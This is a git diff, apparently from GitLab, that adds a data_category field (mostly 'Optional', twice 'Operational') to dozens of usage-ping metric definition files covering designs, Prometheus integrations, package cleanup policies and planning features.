diff --git a/config/metrics/counts_all/20210216180741_design_management_designs_update.yml b/config/metrics/counts_all/20210216180741_design_management_designs_update.yml
index 1a11c45f22a..9c279bd9ac9 100644
--- a/config/metrics/counts_all/20210216180741_design_management_designs_update.yml
+++ b/config/metrics/counts_all/20210216180741_design_management_designs_update.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.design_management_designs_update
description: Number of updates to designs
product_section: dev
diff --git a/config/metrics/counts_all/20210216180743_design_management_designs_delete.yml b/config/metrics/counts_all/20210216180743_design_management_designs_delete.yml
index 0cbdac33f1e..c15b0dded7f 100644
--- a/config/metrics/counts_all/20210216180743_design_management_designs_delete.yml
+++ b/config/metrics/counts_all/20210216180743_design_management_designs_delete.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.design_management_designs_delete
description: Number of designs that were deleted
product_section: dev
diff --git a/config/metrics/counts_all/20210216180750_groups.yml b/config/metrics/counts_all/20210216180750_groups.yml
index db2cfd470ab..e760e1f29ef 100644
--- a/config/metrics/counts_all/20210216180750_groups.yml
+++ b/config/metrics/counts_all/20210216180750_groups.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups
description: Total count of groups as of usage ping snapshot
product_section: dev
diff --git a/config/metrics/counts_all/20210216180752_keys.yml b/config/metrics/counts_all/20210216180752_keys.yml
index 03027fd8e24..57273262561 100644
--- a/config/metrics/counts_all/20210216180752_keys.yml
+++ b/config/metrics/counts_all/20210216180752_keys.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.keys
description: Number of keys.
product_section: dev
diff --git a/config/metrics/counts_all/20210216180754_events.yml b/config/metrics/counts_all/20210216180754_events.yml
index e580df4d511..ced420e9865 100644
--- a/config/metrics/counts_all/20210216180754_events.yml
+++ b/config/metrics/counts_all/20210216180754_events.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.manage.events
description:
product_section: dev
diff --git a/config/metrics/counts_all/20210216180756_groups.yml b/config/metrics/counts_all/20210216180756_groups.yml
index 4a813247d21..86a57dc8e45 100644
--- a/config/metrics/counts_all/20210216180756_groups.yml
+++ b/config/metrics/counts_all/20210216180756_groups.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.manage.groups
description: Number of users who are group members.
product_section: dev
diff --git a/config/metrics/counts_all/20210216180758_users_created.yml b/config/metrics/counts_all/20210216180758_users_created.yml
index 262f88e2713..fbc42eee84a 100644
--- a/config/metrics/counts_all/20210216180758_users_created.yml
+++ b/config/metrics/counts_all/20210216180758_users_created.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.manage.users_created
description: Number of users
product_section: dev
diff --git a/config/metrics/counts_all/20210216180927_grafana_integrated_projects.yml b/config/metrics/counts_all/20210216180927_grafana_integrated_projects.yml
index 6a92f868665..9bbec19b9dc 100644
--- a/config/metrics/counts_all/20210216180927_grafana_integrated_projects.yml
+++ b/config/metrics/counts_all/20210216180927_grafana_integrated_projects.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.grafana_integrated_projects
description: Total Grafana integrations attached to projects
product_section: ops
diff --git a/config/metrics/counts_all/20210216180929_projects_with_tracing_enabled.yml b/config/metrics/counts_all/20210216180929_projects_with_tracing_enabled.yml
index a3a5f2d8ffb..a97c555acab 100644
--- a/config/metrics/counts_all/20210216180929_projects_with_tracing_enabled.yml
+++ b/config/metrics/counts_all/20210216180929_projects_with_tracing_enabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_with_tracing_enabled
description: Projects with tracing enabled
product_section: ops
diff --git a/config/metrics/counts_all/20210216180931_projects_prometheus_active.yml b/config/metrics/counts_all/20210216180931_projects_prometheus_active.yml
index abcd64de00f..c0771c4cc5f 100644
--- a/config/metrics/counts_all/20210216180931_projects_prometheus_active.yml
+++ b/config/metrics/counts_all/20210216180931_projects_prometheus_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_prometheus_active
description: Count of projects with active integrations for Prometheus
product_section: ops
diff --git a/config/metrics/counts_all/20210216180933_groups_prometheus_active.yml b/config/metrics/counts_all/20210216180933_groups_prometheus_active.yml
index c751569efc9..435b988918e 100644
--- a/config/metrics/counts_all/20210216180933_groups_prometheus_active.yml
+++ b/config/metrics/counts_all/20210216180933_groups_prometheus_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_prometheus_active
description: Count of groups with active integrations for Prometheus
product_section: ops
diff --git a/config/metrics/counts_all/20210216180934_templates_prometheus_active.yml b/config/metrics/counts_all/20210216180934_templates_prometheus_active.yml
index 50b4230ce3b..ea76bec86c3 100644
--- a/config/metrics/counts_all/20210216180934_templates_prometheus_active.yml
+++ b/config/metrics/counts_all/20210216180934_templates_prometheus_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.templates_prometheus_active
description: Count of active service templates for Prometheus
product_section: ops
diff --git a/config/metrics/counts_all/20210216180936_instances_prometheus_active.yml b/config/metrics/counts_all/20210216180936_instances_prometheus_active.yml
index 66a696d2187..0be177459ca 100644
--- a/config/metrics/counts_all/20210216180936_instances_prometheus_active.yml
+++ b/config/metrics/counts_all/20210216180936_instances_prometheus_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.instances_prometheus_active
description: Count of active instance-level integrations for Prometheus
product_section: ops
diff --git a/config/metrics/counts_all/20210216180938_projects_inheriting_prometheus_active.yml b/config/metrics/counts_all/20210216180938_projects_inheriting_prometheus_active.yml
index 4ed70e76fa7..5dcc4f0a0a8 100644
--- a/config/metrics/counts_all/20210216180938_projects_inheriting_prometheus_active.yml
+++ b/config/metrics/counts_all/20210216180938_projects_inheriting_prometheus_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_inheriting_prometheus_active
description: Count of active projects inheriting integrations for Prometheus
product_section: ops
diff --git a/config/metrics/counts_all/20210216180940_groups_inheriting_prometheus_active.yml b/config/metrics/counts_all/20210216180940_groups_inheriting_prometheus_active.yml
index c430b253199..ad4bd9bde96 100644
--- a/config/metrics/counts_all/20210216180940_groups_inheriting_prometheus_active.yml
+++ b/config/metrics/counts_all/20210216180940_groups_inheriting_prometheus_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_inheriting_prometheus_active
description: Count of active groups inheriting integrations for Prometheus
product_section: ops
diff --git a/config/metrics/counts_all/20210216180942_operations_dashboard_default_dashboard.yml b/config/metrics/counts_all/20210216180942_operations_dashboard_default_dashboard.yml
index 039d4dcb7cb..fa99f4f9861 100644
--- a/config/metrics/counts_all/20210216180942_operations_dashboard_default_dashboard.yml
+++ b/config/metrics/counts_all/20210216180942_operations_dashboard_default_dashboard.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.operations_dashboard_default_dashboard
description: Active users with enabled operations dashboard
product_section: ops
diff --git a/config/metrics/counts_all/20210216180944_operations_dashboard_users_with_projects_added.yml b/config/metrics/counts_all/20210216180944_operations_dashboard_users_with_projects_added.yml
index 71988b43ed8..2427fbe95b5 100644
--- a/config/metrics/counts_all/20210216180944_operations_dashboard_users_with_projects_added.yml
+++ b/config/metrics/counts_all/20210216180944_operations_dashboard_users_with_projects_added.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.operations_dashboard_users_with_projects_added
description: Active users with projects on operations dashboard
product_section: ops
diff --git a/config/metrics/counts_all/20210216180945_clusters.yml b/config/metrics/counts_all/20210216180945_clusters.yml
index 1af33097b7f..01d4aa22ff2 100644
--- a/config/metrics/counts_all/20210216180945_clusters.yml
+++ b/config/metrics/counts_all/20210216180945_clusters.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.monitor.clusters
description: Users creating clusters.
product_section: ops
diff --git a/config/metrics/counts_all/20210216180947_clusters_applications_prometheus.yml b/config/metrics/counts_all/20210216180947_clusters_applications_prometheus.yml
index c59ea4b8a85..7ce1bab9e40 100644
--- a/config/metrics/counts_all/20210216180947_clusters_applications_prometheus.yml
+++ b/config/metrics/counts_all/20210216180947_clusters_applications_prometheus.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.monitor.clusters_applications_prometheus
description: Users creating clusters with Prometheus enabled.
product_section: ops
diff --git a/config/metrics/counts_all/20210216180949_operations_dashboard_default_dashboard.yml b/config/metrics/counts_all/20210216180949_operations_dashboard_default_dashboard.yml
index 4881fce06a3..b42af45f821 100644
--- a/config/metrics/counts_all/20210216180949_operations_dashboard_default_dashboard.yml
+++ b/config/metrics/counts_all/20210216180949_operations_dashboard_default_dashboard.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.monitor.operations_dashboard_default_dashboard
description: Active users with enabled operations dashboard
product_section: ops
diff --git a/config/metrics/counts_all/20210216180951_projects_with_tracing_enabled.yml b/config/metrics/counts_all/20210216180951_projects_with_tracing_enabled.yml
index 26c5073cae1..ec0ac4b1f67 100644
--- a/config/metrics/counts_all/20210216180951_projects_with_tracing_enabled.yml
+++ b/config/metrics/counts_all/20210216180951_projects_with_tracing_enabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.monitor.projects_with_tracing_enabled
description: Projects with tracing enabled
product_section: ops
diff --git a/config/metrics/counts_all/20210216180953_operations_dashboard_users_with_projects_added.yml b/config/metrics/counts_all/20210216180953_operations_dashboard_users_with_projects_added.yml
index 3e86ba6c54c..f9e62f5fcc1 100644
--- a/config/metrics/counts_all/20210216180953_operations_dashboard_users_with_projects_added.yml
+++ b/config/metrics/counts_all/20210216180953_operations_dashboard_users_with_projects_added.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.monitor.operations_dashboard_users_with_projects_added
description: Active users with projects on operations dashboard
product_section: ops
diff --git a/config/metrics/counts_all/20210216181009_lfs_objects.yml b/config/metrics/counts_all/20210216181009_lfs_objects.yml
index b17b029852c..6882c115094 100644
--- a/config/metrics/counts_all/20210216181009_lfs_objects.yml
+++ b/config/metrics/counts_all/20210216181009_lfs_objects.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.lfs_objects
description:
product_section: ops
diff --git a/config/metrics/counts_all/20210216181011_projects_with_packages.yml b/config/metrics/counts_all/20210216181011_projects_with_packages.yml
index 8d81edaa55f..b170aa2c14f 100644
--- a/config/metrics/counts_all/20210216181011_projects_with_packages.yml
+++ b/config/metrics/counts_all/20210216181011_projects_with_packages.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_with_packages
description: Projects with package registry enabled
product_section: ops
diff --git a/config/metrics/counts_all/20210216181012_packages.yml b/config/metrics/counts_all/20210216181012_packages.yml
index 2934ebdc3d7..6aaa7d161e0 100644
--- a/config/metrics/counts_all/20210216181012_packages.yml
+++ b/config/metrics/counts_all/20210216181012_packages.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.packages
description: The total number of packages published to the registry
product_section: ops
diff --git a/config/metrics/counts_all/20210216181014_projects_with_expiration_policy_disabled.yml b/config/metrics/counts_all/20210216181014_projects_with_expiration_policy_disabled.yml
index dbc5e4c0d0a..423da76d94a 100644
--- a/config/metrics/counts_all/20210216181014_projects_with_expiration_policy_disabled.yml
+++ b/config/metrics/counts_all/20210216181014_projects_with_expiration_policy_disabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_with_expiration_policy_disabled
description: The number of projects with cleanup policy for tags turned off
product_section: ops
diff --git a/config/metrics/counts_all/20210216181016_projects_with_expiration_policy_enabled.yml b/config/metrics/counts_all/20210216181016_projects_with_expiration_policy_enabled.yml
index a71a36f19ca..c75684d655c 100644
--- a/config/metrics/counts_all/20210216181016_projects_with_expiration_policy_enabled.yml
+++ b/config/metrics/counts_all/20210216181016_projects_with_expiration_policy_enabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_with_expiration_policy_enabled
description: A count of projects with the cleanup policy for tags turned on
product_section: ops
diff --git a/config/metrics/counts_all/20210216181018_projects_with_expiration_policy_enabled_with_keep_n_set_to_1.yml b/config/metrics/counts_all/20210216181018_projects_with_expiration_policy_enabled_with_keep_n_set_to_1.yml
index 7cf495c6091..5f435cdb3c6 100644
--- a/config/metrics/counts_all/20210216181018_projects_with_expiration_policy_enabled_with_keep_n_set_to_1.yml
+++ b/config/metrics/counts_all/20210216181018_projects_with_expiration_policy_enabled_with_keep_n_set_to_1.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_with_expiration_policy_enabled_with_keep_n_set_to_1
description: A count of projects with the cleanup policy set to keep 1 tag
product_section: ops
diff --git a/config/metrics/counts_all/20210216181020_projects_with_expiration_policy_enabled_with_keep_n_set_to_5.yml b/config/metrics/counts_all/20210216181020_projects_with_expiration_policy_enabled_with_keep_n_set_to_5.yml
index 143d47835aa..c5332f4c32c 100644
--- a/config/metrics/counts_all/20210216181020_projects_with_expiration_policy_enabled_with_keep_n_set_to_5.yml
+++ b/config/metrics/counts_all/20210216181020_projects_with_expiration_policy_enabled_with_keep_n_set_to_5.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_with_expiration_policy_enabled_with_keep_n_set_to_5
description: A count of projects with the cleanup policy set to keep 5 tags
product_section: ops
diff --git a/config/metrics/counts_all/20210216181022_projects_with_expiration_policy_enabled_with_keep_n_set_to_10.yml b/config/metrics/counts_all/20210216181022_projects_with_expiration_policy_enabled_with_keep_n_set_to_10.yml
index 27ae7c56c24..662c7808c37 100644
--- a/config/metrics/counts_all/20210216181022_projects_with_expiration_policy_enabled_with_keep_n_set_to_10.yml
+++ b/config/metrics/counts_all/20210216181022_projects_with_expiration_policy_enabled_with_keep_n_set_to_10.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_with_expiration_policy_enabled_with_keep_n_set_to_10
description: A count of projects with the cleanup policy set to keep 10 tags
product_section: ops
diff --git a/config/metrics/counts_all/20210216181024_projects_with_expiration_policy_enabled_with_keep_n_set_to_25.yml b/config/metrics/counts_all/20210216181024_projects_with_expiration_policy_enabled_with_keep_n_set_to_25.yml
index 2c1c00ec965..657647f124c 100644
--- a/config/metrics/counts_all/20210216181024_projects_with_expiration_policy_enabled_with_keep_n_set_to_25.yml
+++ b/config/metrics/counts_all/20210216181024_projects_with_expiration_policy_enabled_with_keep_n_set_to_25.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_with_expiration_policy_enabled_with_keep_n_set_to_25
description: A count of projects with the cleanup policy set to keep 25 tags
product_section: ops
diff --git a/config/metrics/counts_all/20210216181025_projects_with_expiration_policy_enabled_with_keep_n_set_to_50.yml b/config/metrics/counts_all/20210216181025_projects_with_expiration_policy_enabled_with_keep_n_set_to_50.yml
index b735f009dae..b25c6c2dbf7 100644
--- a/config/metrics/counts_all/20210216181025_projects_with_expiration_policy_enabled_with_keep_n_set_to_50.yml
+++ b/config/metrics/counts_all/20210216181025_projects_with_expiration_policy_enabled_with_keep_n_set_to_50.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_with_expiration_policy_enabled_with_keep_n_set_to_50
description: A count of projects with the cleanup policy set to keep 50 tags
product_section: ops
diff --git a/config/metrics/counts_all/20210216181027_projects_with_expiration_policy_enabled_with_keep_n_set_to_100.yml b/config/metrics/counts_all/20210216181027_projects_with_expiration_policy_enabled_with_keep_n_set_to_100.yml
index a14f17039e9..6b4eca32468 100644
--- a/config/metrics/counts_all/20210216181027_projects_with_expiration_policy_enabled_with_keep_n_set_to_100.yml
+++ b/config/metrics/counts_all/20210216181027_projects_with_expiration_policy_enabled_with_keep_n_set_to_100.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_with_expiration_policy_enabled_with_keep_n_set_to_100
description: A count of projects with the cleanup policy set to keep 100 tags
product_section: ops
diff --git a/config/metrics/counts_all/20210216181029_projects_with_expiration_policy_enabled_with_cadence_set_to_1d.yml b/config/metrics/counts_all/20210216181029_projects_with_expiration_policy_enabled_with_cadence_set_to_1d.yml
index daf4551b16d..9e83a06612f 100644
--- a/config/metrics/counts_all/20210216181029_projects_with_expiration_policy_enabled_with_cadence_set_to_1d.yml
+++ b/config/metrics/counts_all/20210216181029_projects_with_expiration_policy_enabled_with_cadence_set_to_1d.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_with_expiration_policy_enabled_with_cadence_set_to_1d
description: A count of projects with the cleanup policy set to run every day
product_section: ops
diff --git a/config/metrics/counts_all/20210216181031_projects_with_expiration_policy_enabled_with_cadence_set_to_7d.yml b/config/metrics/counts_all/20210216181031_projects_with_expiration_policy_enabled_with_cadence_set_to_7d.yml
index f67df5897ff..a987f9be6e6 100644
--- a/config/metrics/counts_all/20210216181031_projects_with_expiration_policy_enabled_with_cadence_set_to_7d.yml
+++ b/config/metrics/counts_all/20210216181031_projects_with_expiration_policy_enabled_with_cadence_set_to_7d.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_with_expiration_policy_enabled_with_cadence_set_to_7d
description: A count of projects with the cleanup policy set to run every 7 days
product_section: ops
diff --git a/config/metrics/counts_all/20210216181033_projects_with_expiration_policy_enabled_with_cadence_set_to_14d.yml b/config/metrics/counts_all/20210216181033_projects_with_expiration_policy_enabled_with_cadence_set_to_14d.yml
index 5ac7179b486..84ad8ccbdd4 100644
--- a/config/metrics/counts_all/20210216181033_projects_with_expiration_policy_enabled_with_cadence_set_to_14d.yml
+++ b/config/metrics/counts_all/20210216181033_projects_with_expiration_policy_enabled_with_cadence_set_to_14d.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_with_expiration_policy_enabled_with_cadence_set_to_14d
description: A count of projects with the cleanup policy set to run every 14 days
product_section: ops
diff --git a/config/metrics/counts_all/20210216181035_projects_with_expiration_policy_enabled_with_cadence_set_to_1month.yml b/config/metrics/counts_all/20210216181035_projects_with_expiration_policy_enabled_with_cadence_set_to_1month.yml
index 25ce0d633e4..267e4967e1c 100644
--- a/config/metrics/counts_all/20210216181035_projects_with_expiration_policy_enabled_with_cadence_set_to_1month.yml
+++ b/config/metrics/counts_all/20210216181035_projects_with_expiration_policy_enabled_with_cadence_set_to_1month.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_with_expiration_policy_enabled_with_cadence_set_to_1month
description: A count of projects with the cleanup policy set to run monthly
product_section: ops
diff --git a/config/metrics/counts_all/20210216181037_projects_with_expiration_policy_enabled_with_cadence_set_to_3month.yml b/config/metrics/counts_all/20210216181037_projects_with_expiration_policy_enabled_with_cadence_set_to_3month.yml
index f8df648b170..908a9d75c2b 100644
--- a/config/metrics/counts_all/20210216181037_projects_with_expiration_policy_enabled_with_cadence_set_to_3month.yml
+++ b/config/metrics/counts_all/20210216181037_projects_with_expiration_policy_enabled_with_cadence_set_to_3month.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_with_expiration_policy_enabled_with_cadence_set_to_3month
description: A count of projects with the cleanup policy set to run every 3 months
product_section: ops
diff --git a/config/metrics/counts_all/20210216181038_projects_with_expiration_policy_enabled_with_older_than_set_to_7d.yml b/config/metrics/counts_all/20210216181038_projects_with_expiration_policy_enabled_with_older_than_set_to_7d.yml
index 29926d961e4..f4138f6f566 100644
--- a/config/metrics/counts_all/20210216181038_projects_with_expiration_policy_enabled_with_older_than_set_to_7d.yml
+++ b/config/metrics/counts_all/20210216181038_projects_with_expiration_policy_enabled_with_older_than_set_to_7d.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_with_expiration_policy_enabled_with_older_than_set_to_7d
description: A count of projects with the cleanup policy set delete tags older than 7 days
product_section: ops
diff --git a/config/metrics/counts_all/20210216181040_projects_with_expiration_policy_enabled_with_older_than_set_to_14d.yml b/config/metrics/counts_all/20210216181040_projects_with_expiration_policy_enabled_with_older_than_set_to_14d.yml
index 28e905f980b..3fada355ac1 100644
--- a/config/metrics/counts_all/20210216181040_projects_with_expiration_policy_enabled_with_older_than_set_to_14d.yml
+++ b/config/metrics/counts_all/20210216181040_projects_with_expiration_policy_enabled_with_older_than_set_to_14d.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_with_expiration_policy_enabled_with_older_than_set_to_14d
description: A count of projects with the cleanup policy set delete tags older than 14 days
product_section: ops
diff --git a/config/metrics/counts_all/20210216181042_projects_with_expiration_policy_enabled_with_older_than_set_to_30d.yml b/config/metrics/counts_all/20210216181042_projects_with_expiration_policy_enabled_with_older_than_set_to_30d.yml
index db0db2762d4..4578b623442 100644
--- a/config/metrics/counts_all/20210216181042_projects_with_expiration_policy_enabled_with_older_than_set_to_30d.yml
+++ b/config/metrics/counts_all/20210216181042_projects_with_expiration_policy_enabled_with_older_than_set_to_30d.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_with_expiration_policy_enabled_with_older_than_set_to_30d
description: A count of projects with the cleanup policy set delete tags older than 30 days
product_section: ops
diff --git a/config/metrics/counts_all/20210216181044_projects_with_expiration_policy_enabled_with_older_than_set_to_90d.yml b/config/metrics/counts_all/20210216181044_projects_with_expiration_policy_enabled_with_older_than_set_to_90d.yml
index c1854ea634a..1bc6632c56c 100644
--- a/config/metrics/counts_all/20210216181044_projects_with_expiration_policy_enabled_with_older_than_set_to_90d.yml
+++ b/config/metrics/counts_all/20210216181044_projects_with_expiration_policy_enabled_with_older_than_set_to_90d.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_with_expiration_policy_enabled_with_older_than_set_to_90d
description: A count of projects with the cleanup policy set delete tags older than 90 days
product_section: ops
diff --git a/config/metrics/counts_all/20210216181046_projects_with_expiration_policy_enabled_with_keep_n_unset.yml b/config/metrics/counts_all/20210216181046_projects_with_expiration_policy_enabled_with_keep_n_unset.yml
index 983687d7a6c..818f8fa4b5e 100644
--- a/config/metrics/counts_all/20210216181046_projects_with_expiration_policy_enabled_with_keep_n_unset.yml
+++ b/config/metrics/counts_all/20210216181046_projects_with_expiration_policy_enabled_with_keep_n_unset.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_with_expiration_policy_enabled_with_keep_n_unset
description: A count of projects with the cleanup policy with the number of tags to keep unset
product_section: ops
diff --git a/config/metrics/counts_all/20210216181048_projects_with_expiration_policy_enabled_with_older_than_unset.yml b/config/metrics/counts_all/20210216181048_projects_with_expiration_policy_enabled_with_older_than_unset.yml
index 23f0b9b3b47..c0eaa5d4524 100644
--- a/config/metrics/counts_all/20210216181048_projects_with_expiration_policy_enabled_with_older_than_unset.yml
+++ b/config/metrics/counts_all/20210216181048_projects_with_expiration_policy_enabled_with_older_than_unset.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_with_expiration_policy_enabled_with_older_than_unset
description: A count of projects with the cleanup policy with the number of tags to delete unset
product_section: ops
diff --git a/config/metrics/counts_all/20210216181051_vendor.yml b/config/metrics/counts_all/20210216181051_vendor.yml
index 29fc84d1b1c..9411672a8ac 100644
--- a/config/metrics/counts_all/20210216181051_vendor.yml
+++ b/config/metrics/counts_all/20210216181051_vendor.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: container_registry_server.vendor
description: Identifies if a user is using an external container registry and what type
product_section: ops
diff --git a/config/metrics/counts_all/20210216181055_projects_with_packages.yml b/config/metrics/counts_all/20210216181055_projects_with_packages.yml
index fb006b7f9ec..cb7c7905b5d 100644
--- a/config/metrics/counts_all/20210216181055_projects_with_packages.yml
+++ b/config/metrics/counts_all/20210216181055_projects_with_packages.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.package.projects_with_packages
description: Projects with package registry enabled
product_section: ops
diff --git a/config/metrics/counts_all/20210216181102_issues.yml b/config/metrics/counts_all/20210216181102_issues.yml
index 8875b0bbc81..b35585c5573 100644
--- a/config/metrics/counts_all/20210216181102_issues.yml
+++ b/config/metrics/counts_all/20210216181102_issues.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: counts.issues
description: Count of Issues created
product_section: dev
diff --git a/config/metrics/counts_all/20210216181104_label_lists.yml b/config/metrics/counts_all/20210216181104_label_lists.yml
index e12bdcabe41..6bf565b6f03 100644
--- a/config/metrics/counts_all/20210216181104_label_lists.yml
+++ b/config/metrics/counts_all/20210216181104_label_lists.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.label_lists
description: Count of label lists created on Boards
product_section: dev
diff --git a/config/metrics/counts_all/20210216181108_milestones.yml b/config/metrics/counts_all/20210216181108_milestones.yml
index 29e6bad41ee..7acb409c787 100644
--- a/config/metrics/counts_all/20210216181108_milestones.yml
+++ b/config/metrics/counts_all/20210216181108_milestones.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.milestones
description: Count of milestones created
product_section: dev
diff --git a/config/metrics/counts_all/20210216181109_uploads.yml b/config/metrics/counts_all/20210216181109_uploads.yml
index c72d51b4cb9..568e0539dcb 100644
--- a/config/metrics/counts_all/20210216181109_uploads.yml
+++ b/config/metrics/counts_all/20210216181109_uploads.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.uploads
description: Count of Uploads via Notes and Descriptions
product_section: dev
diff --git a/config/metrics/counts_all/20210216181111_labels.yml b/config/metrics/counts_all/20210216181111_labels.yml
index 328b0fcd991..1011990edc4 100644
--- a/config/metrics/counts_all/20210216181111_labels.yml
+++ b/config/metrics/counts_all/20210216181111_labels.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.labels
description: Count of Labels
product_section: dev
diff --git a/config/metrics/counts_all/20210216181113_notes.yml b/config/metrics/counts_all/20210216181113_notes.yml
index 0046fe630bb..035214da962 100644
--- a/config/metrics/counts_all/20210216181113_notes.yml
+++ b/config/metrics/counts_all/20210216181113_notes.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.notes
description: Count of Notes across all objects that use them
product_section: dev
diff --git a/config/metrics/counts_all/20210216181115_issues.yml b/config/metrics/counts_all/20210216181115_issues.yml
index 3843184aa10..da840704e26 100644
--- a/config/metrics/counts_all/20210216181115_issues.yml
+++ b/config/metrics/counts_all/20210216181115_issues.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: usage_activity_by_stage.plan.issues
description: Count of users creating Issues
product_section: dev
diff --git a/config/metrics/counts_all/20210216181117_notes.yml b/config/metrics/counts_all/20210216181117_notes.yml
index 93e699fda60..9dc9a2b7b70 100644
--- a/config/metrics/counts_all/20210216181117_notes.yml
+++ b/config/metrics/counts_all/20210216181117_notes.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.plan.notes
description: Count of users creating Notes on Issues
product_section: dev
diff --git a/config/metrics/counts_all/20210216181119_projects.yml b/config/metrics/counts_all/20210216181119_projects.yml
index 6cabd4eaf8b..053525815f2 100644
--- a/config/metrics/counts_all/20210216181119_projects.yml
+++ b/config/metrics/counts_all/20210216181119_projects.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.plan.projects
description: Count of users creating projects
product_section: dev
diff --git a/config/metrics/counts_all/20210216181121_todos.yml b/config/metrics/counts_all/20210216181121_todos.yml
index 679a8eb3394..d6eedbb8288 100644
--- a/config/metrics/counts_all/20210216181121_todos.yml
+++ b/config/metrics/counts_all/20210216181121_todos.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.plan.todos
description: Count of users todos created
product_section: dev
diff --git a/config/metrics/counts_all/20210216181122_service_desk_enabled_projects.yml b/config/metrics/counts_all/20210216181122_service_desk_enabled_projects.yml
index 867a772eb23..1558207c2e0 100644
--- a/config/metrics/counts_all/20210216181122_service_desk_enabled_projects.yml
+++ b/config/metrics/counts_all/20210216181122_service_desk_enabled_projects.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.plan.service_desk_enabled_projects
description:
product_section: dev
diff --git a/config/metrics/counts_all/20210216181124_service_desk_issues.yml b/config/metrics/counts_all/20210216181124_service_desk_issues.yml
index 47e80110c66..d9bf957ee47 100644
--- a/config/metrics/counts_all/20210216181124_service_desk_issues.yml
+++ b/config/metrics/counts_all/20210216181124_service_desk_issues.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.plan.service_desk_issues
description:
product_section: dev
diff --git a/config/metrics/counts_all/20210216181126_projects_jira_active.yml b/config/metrics/counts_all/20210216181126_projects_jira_active.yml
index f0a5f3f711a..5b090a23958 100644
--- a/config/metrics/counts_all/20210216181126_projects_jira_active.yml
+++ b/config/metrics/counts_all/20210216181126_projects_jira_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.plan.projects_jira_active
description:
product_section: dev
diff --git a/config/metrics/counts_all/20210216181128_projects_jira_dvcs_cloud_active.yml b/config/metrics/counts_all/20210216181128_projects_jira_dvcs_cloud_active.yml
index cb5f0a0f5ba..fe4065871a7 100644
--- a/config/metrics/counts_all/20210216181128_projects_jira_dvcs_cloud_active.yml
+++ b/config/metrics/counts_all/20210216181128_projects_jira_dvcs_cloud_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.plan.projects_jira_dvcs_cloud_active
description:
product_section: dev
